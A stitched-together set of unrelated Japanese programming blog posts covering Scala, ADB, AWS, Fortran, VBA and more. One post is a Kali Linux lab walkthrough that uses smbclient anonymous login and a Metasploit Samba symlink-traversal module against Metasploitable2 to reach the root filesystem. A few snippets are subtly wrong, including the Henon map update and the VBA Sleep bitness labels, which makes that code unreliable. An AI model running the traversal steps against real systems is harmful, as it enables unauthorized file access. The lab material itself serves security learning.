import java.util.concurrent.{ForkJoinPool, RecursiveTask}

import scala.annotation.tailrec

object ForkJoinFactorialSumStudy extends App {

  val length = 5000
  val list = (for (i <- 1 to length) yield BigInt(i)).toList

  val pool = new ForkJoinPool()

  class AggregateTask(list: List[BigInt]) extends RecursiveTask[BigInt] {

    override def compute(): BigInt = {
      // 2分割
      val n = list.length / 2

      if (n == 0) {
        // 処理分割できない場合
        list match {
          case List() => 0
          case List(n) => factorial(n, BigInt(1))
        }
      } else {
        // 処理分割できる場合
        val (left, right) = list.splitAt(n)
        val leftTask = new AggregateTask(left)
        val rightTask = new AggregateTask(right)
        // 非同期実行
        leftTask.fork()
        rightTask.fork()
        // 集計
        leftTask.join() + rightTask.join()
      }
    }
    @tailrec
    private[this] def factorial(i: BigInt, acc: BigInt): BigInt = {
      if (i == 0) acc else factorial(i - 1, i * acc)
    }
  }


  val start = System.currentTimeMillis()
  val factorialSum = pool.invoke(new AggregateTask(list))
  val time = System.currentTimeMillis() - start

  println(factorialSum)
  println(s"time: ${time} msec")
}

```

## まとめ
長時間の運用などを考えると、確かに`Thread`は使いにくいのかも。
これまではあんまり意識してこなかったけれど。
ADBで画面録画の方法


[MacのPCでADBを使えるようにする方法](https://qiita.com/yuta317/items/5ed5e42710437df0b45b)

[ADBを使ってスクリーンショットを撮ってPCに取り込む方法](https://qiita.com/yuta317/items/edcc72bf6f6af0eb0605)

こちらの記事は書きましたが、画面録画はまだ書いていなかったので、書いておこうと思います。



# 画面録画を保存したいフォルダに移動します。

必要ならターミナルを開いて、cdコマンドを使いフォルダ移動します。

```
cd 移動したいフォルダのパス
```

※初心者の方へ、移動したいフォルダをターミナルに向けて、ドラッグ&ドロップするとそのフォルダのパスがわかります。

# 画面録画する
下記のコマンドで撮影できます。

```
adb shell screenrecord /sdcard/record.mp4
```

Ctrl + cで録画終了できます。

# PCに取り込む
下記コマンドで取り込むことができます。

```
adb pull /sdcard/record.mp4
```

最初に移動しておいたフォルダにrecord.mp4の名前で保存されています。


以上です。
簡単に画面録画することができるのでおすすめです！
Lightsail上のWordpressにアクセスできなくなった時の対処法

## はじめに
現在、以下個人ブログをAWSのLightsail上で動作させていますが、久しぶりにアクセスしてみたところ、アクセスできなかったので対処法を記載します。

https://memomaru.life/

## 調査内容

以下試しましたが、結局原因はわかりませんでした。

- https://memomaru.life/ にアクセス
    - アクセスできない
- IPアドレスでアクセス
    - アクセスできない
- Lightsailの画面を確認
    - StatusはRunningとなっており、問題なさそう

![Reo-Wordpress – Connect _ Lightsail - Google Chrom.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/882682/a3db7b2e-2d1b-9bd4-27d3-f4e6d1fa7f50.png)

## 対処法
とりあえずインスタンスを再起動することにしました。
その後、https://memomaru.life/ にアクセスすると問題なくアクセスできるようになりました。

## 参考
- https://clean-copy-of-onenote.hatenablog.com/entry/2020/11/28/071518
- https://nplll.com/2022/04/lightsail-is-down-and-upstream_not_found-519-why/
Github Actions "Process completed with exit code 1."の対処方法

## 環境
masOS Monterey 12.3.1

## エラー内容
プルリクエスト作成しGithub Actionsを走らせたところ、
"Run bundle exec rails test"フローにて以下のエラーが発生した。
```
Error: Process completed with exit code 1.
```
## 原因
"Run bundle exec rails test"フローのログを遡る。
```
Run bundle exec rails test
  bundle exec rails test
  shell: /usr/bin/bash -e {0}
(erb):33:in `<main>': Cannot load database configuration: (NameError)
uninitialized constant DB_PORT
```
直前に設定した環境変数を''で囲み忘れる初歩的ミスでした。

## 対処方法
環境変数を修正し再度 `git commit`, `git push`
→ 無事にワークフロー通りました。

## 参考記事
https://qiita.com/KerorinNF/questions/939cb56ed00ea5da665f
【iOS15】TabbarItemの色指定が反映されない不具合に対応

iOS15で「TabBarItemの色がうまく適用されない不具合」に対応したので参考までに。色指定の方法が変更されたみたいです。

# iOS15以前

```swift
self.tabBarController?.tabBar.tintColor = .white
self.tabBarController?.tabBar.unselectedItemTintColor = .lightText
```

# iOS15以降

```swift
let appearance = UITabBarAppearance()
appearance.stackedLayoutAppearance.normal.iconColor = .white
appearance.stackedLayoutAppearance.normal.titleTextAttributes = [.foregroundColor : UIColor.lightText]

self.tabBarController?.tabBar.standardAppearance = appearance
```

参考記事
[iOS 15 UITabBarController's tabBar background color turns black](https://stackoverflow.com/questions/68688270/ios-15-uitabbarcontrollers-tabbar-background-color-turns-black)
UUIDってなんだぁ...？

# UUIDってなんだよ
Universally Unique Identifier の略。
**世界中で絶対に被らないユニークなID**のこと。オンリーワンです。
# UIDとどう違うんだ
基本的にUIDっていうとただのユニークなIDのこと、もしくはユーザー識別のIDを指すとおもいます。
しかし、それはDBの中で固有というだけでべつに世界中に同じIDがあっても大丈夫なのですが、UUIDは絶対に世界中どこをさがしても重複していないIDです。  

**フォーマットも決まっています**  
XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
16進数で8桁-4桁-4桁-4桁-12桁の文字列、IDです。これは絶対。128bitで39桁です。

# バージョンって？
UUIDにはバージョンが4種類ある。基本バージョン4を使うことがおおい。
|バージョン  | 説明 | 
| :-:| :- |
|1|MACアドレスと日付時刻から生成するUUID|
|2|MACアドレスと日付時刻に加え、ローカルのPOSIXユーザIDから生成するUUID|
|3|URL、完全修飾ドメイン名、オブジェクト識別子及び識別名から生成するUUID(MD5を使っているため非推奨)|
|4|擬似乱数から生成するUUID|
|5|バージョン3のハッシュ関数をMD5からSHA-1にしたもの|

# どうやって作るんだ？
基本的にライブラリで簡単に作れる模様です。
私はPHPエンジニアなのでPHPの話ですが、Laravel5.6以降だとライブラリすら必要なく、以下でバージョン4を作成できるみたいですね。
```
use Illuminate\Support\Str;
 
return (string) Str::uuid();
```
JAVAとかもライブラリなしで簡単に作成できるみたいです。

その他、`ramsey/uuid`というライブラリをつかえば素のPHPでもCodeigniterとかでも使えます。

***インストール***
```
composer require ramsey/uuid
```

```
require_once 'vendor/autoload.php';       
use Ramsey\Uuid\Uuid; 

$uuid_var1 = Uuid::uuid1();
$uuid_var4 = Uuid::uuid4();
```
このようにバージョン指定してUUIDを作成できます。

# おわりに
決済とか大規模サービスとかミスが許されない大事なところで使うとよさそうですね。
厳密には絶対に被らないことはないらしいですが、明日私の家にロバートダウニーJrがやってくるくらいありえないので、もしかぶってバグがおこった場合、宝くじでも買いに行きましょう。

API仕様書とかでUUIDｷﾎﾞﾝﾇって書いてるのにただのユニークIDをリクエストに求められたり、逆にUIDｷﾎﾞﾝﾇって書いてあるのにUUIDを作って送らないといけないことを経験したので、自分が利用するときはしっかり明記したい所存。

あと、マイクロソフト様がつくったGUIDとかいうのもあるらしいですが、UUIDと同じものらしいです。明確な違いがあればおしえてください。
Henon写像について(カオス)


非線形数理モデルであるHenon写像を紹介します。
以前に紹介したロジスティック写像と同じ低次元離散力学系です。
ロジスティック写像に関する記事のリンクを貼っておきます、もしよければ見て行ってください。
関連記事1： [ロジスティック写像の紹介](https://qiita.com/reser_ml_memo/items/878927bf473bd025b16a)
関連記事2： [初期値鋭敏性について(ロジスティック写像)](https://qiita.com/reser_ml_memo/items/9ff1af90c3abaf038a11)

エノン写像は以下のような連立方程式, 漸化式で表されます。

$x_{n+1} = 1- ax_{n}^2 + y_{n}$
$y_{n+1} = bx_{n}$

$a,b$はエノン写像のパラメータになります。

$x_{0}とy_{0}$は任意に与えて、実際にエノン写像の動きを見てみます。
(以下の図は、$x_{0}=y_{0}=1.1,　a=1.4, b=0.3$としています。)
![henon_x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2594605/6370a364-f5ac-2e78-cee3-64fba5f6d239.png)
![henon_y.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2594605/8c0e2c6a-d9e7-81ec-68dc-72a6a1658837.png)
$x_{n}, y_{n}$どちらも不規則に動いているのがわかります。$\textbf{カオス}$と呼ばれる現象が確認できます。

次に、$x_{0}=y_{0}=1.1,　a=1.0, b=0.1$に変えて$x_{n}, y_{n}$の動きを見てみます。先ほどとは違った動きをします。
![henon_1_01_x.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2594605/4c35ac07-545f-de1a-88c0-a9c666659de2.png)
![henon_1_01_y.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2594605/42ea0da5-a008-a123-aed6-cbade120945e.png)

先ほどの非周期的な動きをするのではなく、途中から周期的に動いているのがわかります。

次回は、カオス力学系の特徴の一つである"初期値鋭敏性"について紹介したいと思います。
続編： [初期値鋭敏性(エノン写像)]()

以下今回使用したコードを記載しています。
```Python
import numpy as np
import matplotlib.pyplot as plt

# Henon写像のデータを生成する関数
# 引数a,bがHenon写像のパラメータ,引数nは生成したいデータ数(時系列長)
def Henon(a,b,n):
    x = np.zeros(n)
    y = np.zeros(n)
    
    x[0] = 1.1
    y[0] = 1.1
    for i in range(n-1):
        y[i+1] = b*x[i]
        x[i+1] = 1 - a*(x[i])**2 + x[i]
        
    return x, y
```
```Python
#　Henon写像を可視化
x,y = Henon(1.4,0.3,60)
#x,y = Henon(1.0,0.1,60)

# xをプロット(以下のコードのxをyに変えればyをプロット)
plt.plot(x,marker="o")
plt.xlabel("n")
plt.ylabel("x")
plt.show()
```
SIMPLEの文法

SIMPLEの文法
==
本稿について
--
+ [Nuorium Optimizer マニュアル](https://www.msi.co.jp/nuopt/download/manual/index.html) SIMPLEチュートリアルより文法に関する記載を抜粋したメモです。

SIMPLEとは
--
+ SIMPLEはNTTデータ数理システムが提供している数理最適化パッケージNuorium Optimizer(旧称:Numerical Optimizer)で使用する言語です。
+ C言語と似ている箇所もありますので、本稿ではSIMPLEの特徴的な箇所を記載します。

変数の宣言：Variable
--
+ `Variable x;`で変数xを宣言します。
+ 変数は使用する前に宣言する必要があります。
+ 変数の名前を記載することができます。`Variable x(name = "～～～");`を～～～の箇所に記載します。
+ name = "..."は省略可能。但し出力などで使用されるので記述が推奨されます。
+ Variableの代わりにIntegerVariableと記載すると整数変数の宣言になります。

定数の宣言：Parameter
--
+ 定数は外部のデータファイル(*.dat)から読み込みます。
+ `Parameter p1(name="パラメータ1");`で定数p1を宣言します。
+ このときデータファイルには`"パラメータ1" = 1234;`等と記載します。

目的関数の宣言：Objective
--
+ Objectiveで目的関数の宣言です。目的関数についての説明は最適化の説明を参照してください。
+ `Objective f(type = minimize, name = "…");`と記載すると目的関数fを最小化する指示となります。
+ `type = minimize`で目的関数を最小化、`type = maximize`で目的関数を最大化です。
+ `name = "…"`の箇所は目的関数の名前を記載します。(Variableと同様。)
+ 目的関数の定義は`f = 3 * x + 1;`のように別の文に記載します。

制約条件の記載
--
+ 関係演算子を用いて、制約条件を示す式を記載します。
+ `x >= 0;`と書けば、制約条件: x≧0を意味します。

集合：Set
--
+ Setで集合の宣言をします。例えばs1={0, 1}を宣言するときは下記の記載となります。
`Set s1 = (name="集合1");`
`s1 = "0 1";`

### 添え字：Element
+ ここで、添え字i∈s1を宣言するにはElementを使って下記のように記載します。
`Element i(set = s1);`
+ 添え字を用いると下記のような式の記載ができます。
`Parameter p1(name = "パラメータ集合1", index = i);`
+ このときのデータファイルの書き方は下記のようになります。
`"パラメータ集合1" = [0] 123 [1] 345;`

式の宣言：Expression
--
+ `Expression e(name = "式の名前")`で式の宣言となります。
+ Variableと同様にnameで名前、indexで添え字を指定します。


求解：solve()
--
solve();と記載すると、最適化の計算を実施します。モデルの記述→solve→結果出力の順で記述します。

結果出力
--
+ `変数.val.print();`で変数の値を出力。
+ `x[i].val.print();`で集合の要素の値を出力。

### simple_printf();
+ `simple_printf();`でC言語のprintf形式で出力できる。
+ 書式指定は`simple_printf(出力書式指定, 出力対象1, 出力対象2,…)`。
+ 出力対象には集合以外を指定する。

デバッグ出力
--
+ `showSystem();`を任意の箇所に挿入すると途中経過を出力して確認することができます。

コメント
--
+ `//`から行末がコメント。

その他の注意点
--
+ 半角スペースは自由に入れてよい。(等号/不等号の間はNG)
+ name = の引数はダブルクォート"で囲むこと。
+ minimize、maximizeはダブルクォート"で囲まない。
+ nameとtypeのように複数の設定を行うときはカンマで区切ること。
+ nameやtypeを設定する順番は変更可能。
+ 等式付不等号<=と>=のみOK。等式なし不等号<と>はNG。
【Android】覚えておくと便利なExtension：Part１

# はじめに
何かしらの機能で必ず使用するExtensionですが、毎度実装している便利なExtensionを備忘録的に残しておこうと思います。

# その1

```
fun Fragment.getColor(@ColorRes colorRes: Int): Int =
    ResourcesCompat.getColor(
        resources, colorResId, null,
    )
```
こちらは皆さんご存知のカラーを取得するだけの拡張関数ですね。
こういった一見小さいレベルのロジックも拡張関数にすると便利ですし、ちりつもなのでどんどん活用していきたいところです。

# その2

```
fun Fragment.navigateBrowser(url: String) {
    val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
    startActivity(intent)
}
```
こちらも使用頻度が非常に高い、外部ブラウザへ遷移させるための拡張関数です。
カラーと同様にこういった処理も拡張関数にしておくと便利だったりしますので、拡張関数にしておくことをお勧めします。

# さいごに
備忘録なのでかなり雑にまとめてしまっていますが、他にもたくさんあります
いっぺんにまとめると疲れますので、小出しにしてまとめていこうと思います。
AtCoder B - String Rotation

## 問題
https://atcoder.jp/contests/abc103/tasks/abc103_b

## 回答
```
s = input() 
t = input()
size = len(s)

flag = False

for i in range(100):
  str = s[:size - i] #　元の配列から末尾を削除する
  n = s[-i:]
  final_str = n + str #　元の配列の先頭に持っていく
  if final_str == t:
    flag = True

if flag == True:
  print('Yes')
else:
  print('No')
```


  



## ポイント
フラグ問題。

タプルを使用する。
```Python
  str = s[:size - i] #　元の配列から末尾を削除する。
  n = s[-i:] #　元の配列から末尾を取得しnに格納。
  final_str = n + str #　元の配列の先頭に持っていく。
```

一度、```for i in range(size):```にして通らなかったが、範囲を100に変更してAC。

久しぶりの自力AC。泣いた。
非エンジニアのPython忘備録的ブログ

# Python3.10.4への更新とPySimpleGUI
## 初めに
### 環境
・使用しているPC:macbookAir
・OS:macOS
ここではPython3.9.7からPython3.10.4への更新とそれに伴ってPySimpleGUIが使えなくなったことについて解決した話を載せます。


# Python3.10.4へ新しいバージョンのPythonをインストールしたら使えなくなった!?
## 経緯
　macbookairにインストールしたPython3.9.7が古いのか、ターミナルコマンドで**2022.10.4 is available**のような表記が出たのでPython3.10.4をインストールしました。

　そして気になったことが一つ…。
　PySimpleGUIをインストールしていたけどバージョンが違っていても使えるのかな?と。
　そしてPySimpleGUIをインポートするコードが記載されたファイルをPython3.10.4で開いてみるとやはり使えませんでした。

## 解決
　これは単純にもう一度Python3.10.4がある状態でPySimpleGUIをインストールすれば良いかなと思いインストールしてみたところ、Python3.9.7から開いてもPython3.10.4から開いても使えるようになりました。
　ちなみにPySimpleGUIのインストールは以下の通りです。
```:ターミナルコマンド
pip3 install PySimpleGUI
```

最後までご覧いただきありがとうございました。
UiPath Studio 2022.4.1 Activity 標準全ツリー（チートシート）と、2022.4.0との差異

2022/06/01追記：UiPath Studio 2022.4.3のActivityツリーに見た目の変更は（1dotも）ありませんでした。（依存関係のバージョンは少し上がっていましたが（Windows-レガシ のみ検証））
## 注釈
UiPath Studio 2022.4.1で取得したActivityツリー（デフォルトのままで追加/削除Activityはなし）です。
モダン使用のツリーですが、クラシック分も後ろの方にあります。
皆さんなりのビューアで見るでしょうし、等倍でなく少し縮小しても内容は判別できますし、少しスクロールして見るのは許容範囲という方もいると思うので、いくつかのサイズを置いておきます。
（下に行くほど横長です。サイズが半端値なのは、できるだけ小さい矩形範囲に納めるためです。）

前回（[UiPath Studio 2022.4.0 Activity 標準全ツリー・・・](https://qiita.com/TechPark55/items/2f0cb8ac39bbcceffb08)）ツリーの差異を「ざっと見たところなし」と書いたのですが、今回もうちょっと真面目に比較しました（簡易比較プログラム書いてみた）。
下記「2022.4.0と2022.4.1の差異」参照

## ツリー取得時のプロジェクトの依存関係（Windows - レガシ）
UiPath.Excel.Activities = 2.12.3
UiPath.Mail.Activities = 1.15.1
UiPath.System.Activities = 22.4.1
UiPath.UIAutomation.Activities = 22.4.4

## Activityツリー
2496x1434
![US2022.4.1_Activity_利用可能以降_PadL2_H1434_Pad.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/456318/e580488c-8322-1df8-756c-b8c83b9dc6d5.png)

2806x1291
![US2022.4.1_Activity_利用可能以降_PadL2_H1291_Pad.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/456318/ecc1bba1-9976-2840-4025-dca0b0059e30.png)

2976x1170
![US2022.4.1_Activity_利用可能以降_PadL2_H1170_Pad.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/456318/7941c1ba-2720-0ffb-96d5-e3a4deeae9b0.png)

3238x1074
![US2022.4.1_Activity_利用可能以降_PadL2_H1074_Pad.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/456318/3e009844-4734-07c3-a73a-7216cdec764c.png)

3525x1001
![US2022.4.1_Activity_利用可能以降_PadL2_H1001_Pad.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/456318/1625b5ed-0046-6ed7-b290-cfe655f84d09.png)

## 2022.4.0と2022.4.1の差異
左が2022.4.0、右2022.4.1で差異を抜き出しています。差異はあくまで（絵的に）見た目の差であり、機能の差は表していません。
中央部の数字、記号は連番と、A:追加、D:削除、U:更新を表しています。（連番はこの説明をわかりやすく書くために付加）
例えば、1Uであれば日本語訳が変わっています（アイコンが変わっているだけの場合もあります（例:7U等））。
Activityツリーの並び位置が同じ場合U:更新判定となっていますが、日本語訳変更で並びが変わってしまった場合、D:削除とA:追加となる場合もあります（例:10Dと11A等）。
16Aは並びが変わったことでA:追加判定となってしまっていますが、まあ簡易比較ということで・・・。
ここに出ていない部分は（バグがなければ）一致しているので、最終判断はおまかせしますという感じです。（コンペアという題材で本一冊書けるとか）
5/8 18時追記：連番の抜けは、アイコンに点が付いただけなど無視していいだろうと判断したものです。
![comp4_Go10pt_.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/456318/7cf067e8-d46c-8ddf-8a51-c1c8e33d11fe.png)

## 2022.4.0と2022.4.1の差異記号が付加されたActivityツリー
3525x1001のみ
![US2022.4.1_Activity_利用可能以降_PadL2_Go_H1001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/456318/249364bd-0211-68fa-9f99-6be3e2a976cd.png)
flutter doctor

# flutter doctorのエラー

ターミナルでflutter doctor時のエラーです。(android)
![スクリーンショット 2022-05-08 13.27.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2586109/eee0a16c-0c8d-1582-f256-1b506b6ba77f.png)

Android Studioを開きPreferencesから設定を行います。
![スクリーンショット 2022-05-08 13.32.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2586109/875867e0-dcb0-925f-58c0-6bcb16832550.png)

Appearance & Behaviorを開き
System Settingsを開き Android SDKを選択します
SDK Toolsの上から３番目Android SDKにチェックを入れます。
![Untitled_1.1.1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2586109/31377523-c50e-c382-8759-8cbf2f29c2bf.png)

Accept、saveして再度
```
flutter doctor
```
![スクリーンショット 2022-05-08 14.21.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2586109/cb476ffe-4188-7489-dc21-c8789bb3c5c0.png)

エラー文が変わりました！続いて
```
flutter doctor --android-licenses
```
色々聞かれますがyを選択し再度
```
flutter doctor
```
無事終了
![スクリーンショット 2022-05-08 14.23.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2586109/5349d461-24aa-7f08-ed70-db3bef8d411f.png)
Kali Linux2022.1 でハッキングラボをつくってみる7　Metasploitable2をハッキングする5 ディレクトリトラバーサル

# はじめに
「ハッキング・ラボのつくりかた」p.393-398を参考にした記事です。
Metasploitable2では、Sambaサービスが稼働し、ポートも開いているので、これを足がかりにしてハッキングを行ってみます。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# Sambaにアクセス
```
smbclient -L //192.168.56.5
```
パスワードの入力を促されるが、でたらめなものでもログインできる。
![VirtualBox_kali-linux-2022.1-smbclinet.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/a6bd9303-f30c-8d6e-f190-53cf6e94ab72.png)
上の画像の項目"Sharename"の共有名tmp(コメント"oh noes!")を攻略する。

Sambaの共有フォルダ外へのシンボリックリンクについての設定項目wide linksを有効（smb.confの項目をyesに設定)すれば、共有フォルダ外へのシンボリックリンクをたどった先のディレクトリ内のファイルのパーミッションが777に設定されていれば、その共有フォルにアクセスできるユーザーはファイルが実行できる。
確認のコマンドは次の通り.まだ、Metasploitable2とKaliLinuxとの間にセッションが確立していないので、Metasploitable2上でコマンドを実行する。

```Metasploitable2の任意のディレクトリで
man 5 smb.conf | grep "wide links"
```
# ディレクトリトラバーサル
wide linksが有効であれば、ディレクトリトラバーサル（本来アクセスできないディレクトリにアクセスする）を実行するMetasploitのモジュールを利用できる。
```
use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.56.5
set smbshare tmp
exploit
```
![VirtualBox_kali-linux-2022.1-smbtraversal.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/a8105404-67cc-e3e5-7d99-d957ee4c6c8a.png)

tmpがマウントされ、rootfsもリンクされた。
`smbclient`コマンドでアクセスできる。パスワードは何も入力しなくても良いし、でたらめなものでもOK。
```
smbclient //192.168.56.5/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd rootfs
smb: \rootfs\> ls
```
![VirtualBox_kali-linux-2022.1-smbtraversal2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/e50c4c8d-de2a-b093-e991-33b1cd365dc4.png)

"/etc/samba/smb.conf"を見ると、readonlyが"yes"で、guest okが"yes"となっている。
```conf:smb.conf
[tmp]
   comment = oh noes!
   read only = no
   locking = no
   path = /tmp
   guest ok = yes

[opt]
   read only = yes
   locking = no
   path = /tmp
```
機密性が脆弱な設定となっている。
Fortranによる階乗の計算


# 結論
`gamma`関数を使いましょう．

```Fortran
integer(int32) :: n = 10
print *, gamma(dble(n + 1)) ! 3628800.0000000000
```

# 概要
Fortranで階乗を計算する方法をまとめました．

「Fortranは数値計算用のプログラミング言語だと言われているのに階乗を計算する関数がないじゃないか！」としばしば指摘されます．この記事を読めば，理由がわかります．

ついでに，他の方法で階乗を計算する方法をまとめました．

# `gamma`関数を使う
Fortranには階乗を計算する関数，いうなれば`factrial`関数がありません．理由は簡単で，階乗の概念を複素数全体に拡張した`gamma`関数が実装されているからです．

ガンマ関数と階乗には，次の関係があります．

```math
n! = \Gamma(n+1)
```

そのため，Fortranで整数`n`の階乗を計算したい場合，`gamma`関数の引数に`n+1`を渡せばよいということになります．ただし，`gamma`関数は引数の型が実数に制限され，戻り値も実数なので，整数を渡して整数を受け取るには型変換が必要です．

```Fortran
int(gamma(dble(n + 1)))
```

`factorial`関数として定義するなら，下記のようになるでしょう．

```Fortran
integer(int64) function factorial(n)
    implicit none
    integer(int32), intent(in) :: n

    factorial = int(gamma(dble(n + 1)), int64)
end function factorial
```

# 整数の数列を作ってproductを計算する
Fortranには，配列の全要素の積を計算する`product`関数があります．`product`関数と配列構成子を利用することで，比較的短い行数で階乗を計算できます．

```Fortran
integer(int32) :: n = 10
integer(int32) :: i
integer(int64) :: factorial

factorial = product([(i, i=1, n)])
```

この計算方法は，Fortranの内部手続しか用いないので，`parameter`としてコンパイル時に評価できます．コンパイル時に評価され，実行時には値を参照するだけなので，Fortranで階乗の計算結果を得る最速の方法です．他言語ユーザがFortranとの実行速度の比較を行う際は，この方法を利用しないと公平ではありません．

```Fortran
integer(int32), parameter :: n = 10
integer(int32) :: i
integer(int64), parameter :: factorial = product([(i, i=1, n)])
```

カウンタ用変数`i`を別途宣言していますが，これはFortran 2023で`[(i, integer(int32) :: i=1, n)]`と書けるようになります．

# 再帰関数を用いる方法
よくある再帰関数を用いる方法です．負の数が渡された場合の対処は省略しています．

Fortranの関数は，標準で再帰呼び出しが許可されておらず，`recursive`属性を付与することで再帰呼び出しを可能にしていました．しかし，Fortran 2018では標準で再帰呼び出しが可能になります．`-stand f18`や`-std=f0218`，`-f2018`を付けてコンパイルすれば，`recursive`属性は不要です．

```Fortran
recursive function factorial(n) result(factorial_n)
    implicit none
    integer(int32), intent(in) :: n
    integer(int64) :: factorial_n

    if (n > 0) then
        factorial_n = n*factorial(n - 1)
        return
   end if

   factorial_n = 1
end function
```

# まとめ
- Fortranに階乗を計算する関数がないのは，より一般的な`gamma`関数があるため．
- 階乗はコンパイル時に評価できる．
- Fortran 2018では，関数は標準で再帰呼び出しできる．
【AWS】DynamoDBのハンズオンで学んだことをまとめる

こんにちは、k_ukiです。
「AWSではじめるクラウド開発入門」の10章と11章を進めていきました。
そこでは、サーバーレスクラウドに関連する技術が取り上げられており、「Lambda」「DynamoDB」「S3」の3つの技術をハンズオン形式で学習しました。

その中でも、今回は「DynamoDB」について学んだことをまとめていきます。

## 「DynamoDB」とは？
　DynamoDBはAWSが提供するサーバーレスなデータベースのことです。
　[こちら](https://qiita.com/k_uki512/items/29923fd6553e23814383)の記事ではサーバーレスコンピューティングについての説明を行いました。データベースにもこの概念を適用することができます。"DynamoDB"を使用することで、データベース用の仮想インスタンス等を構築せずとも、データの書き込み、読み出し等が行えます。

　DynamoDBとの通信はAPIを通じて行われます。また、保存領域の上限は設定されていないため、データを格納した分だけ領域も拡張されていきます。
## DynamoDBを触ってみた
今回のハンズオンではSTEP1,STEP2の二つを実施しました。それぞれの内容は以下の通りです。
- STEP1: AWS CDKを使用し、DynamoDBの初期化、デプロイを行う。
- STEP2: APIを使用して、データの書き込み、読み出し、削除を行ってみる



### STEP1
STEP1ではPythonのコードをLambdaに登録する作業を行いました。

まず、プロジェクトのディレクトリに移動し以下のコマンドを実行しました。
```
# venvを作成し、依存ライブラリのインストール
$ python3 -m venv .env
$ source .env/bin/activate
$ pip install -r requirements.txt
# デプロイの実行
$ cdk deploy
```
実行後、以下の文字列が返されました。正しくデプロイできたことがわかります。
![10-4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2341225/fc6dd586-2138-a598-509f-8bbba8e71bd9.png)


AWSコンソールにアクセスし、DynamoDb>テーブルの順に遷移していくと、テーブルが正しく生成されたことが確認できました。
![10-5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2341225/0161c2b7-fc1e-b3b1-1322-890bd3a006a1.png)


### STEP2
STEP2ではSTEP1で作ったテーブルにデータの書きこみ、読み出しを行ってみます。
### データの書き込み
まずは、データの書き込みを実践してみます。ここではハンズオンで用意されていた"simple_write.py"を使用します。コードは以下の通りです。
```
# boto3をインポートしdynamodbを呼び出す
import boto3
from uuid import uuid4
ddb = boto3.resource('dynamodb')

def write_item(table_name):
    table = ddb.Table(table_name)
    table.put_item(
    Item={
      'item_id': str(uuid4()),
      'first_name': 'John',
      'last_name' : 'Doe',
      'age':25,
      }
    )
```
上から3行は、boto3(AWSをpythonで操作するためのライブラリ)をインポートしDynamoDBを呼び出しています。
write_item関数ではデプロイしたテーブルの名前を引数として受け取りput_item()メソッドを使用することで新しいタプルをDBに書き込みます。

このファイルを実行後コンソールを確認してみると先ほど登録した情報が保存されたことが確認できました。
![10-6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2341225/7db88118-1362-a2f6-d5fc-f6199d22486e.png)

### データの読み込み
次にDBにあるデータの読み出しを行います。読み出しのために使用するファイルのコードは以下の通りです。
```
import boto3
ddb = boto3.resource('dynamodb')
def scan_table(table_name):
    table = ddb.Table(table_name)
    items = table.scan().get("Items")
    print(items)
```
table.scan().get("items")でテーブルの中身を全て呼び出します。

ファイルの実行後以下の結果が得られました。先ほど登録したデータが読みだされたことが分かります。
![10-7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2341225/b753d743-7e89-b2b0-0025-ccca7abfdccb.png)

### 大量のファイルの読み書き
用意されているbatch_rw.pyを実行します。今回は1000個のデータを書き込んでみます。
```
python batch_rw.py テーブル名 write 1000
```
実行後コンソール確認したところデータがきちんと複数書き込まれていました。
![10-8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2341225/b5cab01b-7856-608e-9cd0-ee41fc52c1a9.png)


### スタックの削除
演習は完了なので以下のコマンドでスタックを削除しました
```
$ cdk destroy
```
## 最後に
今回はDynamoDBを用いたデータの読み書きを実践しました。今回の学習でDynamoDBが何か、実際にどう読み書きを行うのかを体験し学ぶことができました。
VBAメモ_最終行取得など利用頻度が多い物メモ

# 概要
ExcelVBAで最終行取得など、使用頻度が多いが毎回忘れて検索の手間が掛かっているものがあるので
使用頻度が多そうなものを随時こちらに備忘録として残していこうと思います(='ω'=)

解説は抜きでコピペ用です。

## 最終行取得
```vb
Dim maxRow, maxCol As Long
maxRow = Cells(Rows.Count, 1).End(xlUp).Row'1(A列)の値がある最終行取得
maxCol = Cells(1, Columns.Count).End(xlToLeft).Column'1(1行目の)の値がある最終列取得
```

## Sleep処理
以下の内容をモジュールの一番上に記載します。
調べるのが手間だと思うのでエラーが出ない方のみを記載すればよいです。
```vb
#32bitの場合
    Public Declare PtrSafe Sub Sleep Lib “kernel32” (ByVal dwMilliseconds As Long)
#64bitの場合
    Public Declare Sub Sleep Lib “kernel32” (ByVal dwMilliseconds As Long)
```
実際の停止処理については、プロシージャで処理したい場所に以下の方法で設定します。
```vb
Sleep 1000 '1秒処理を停止
```

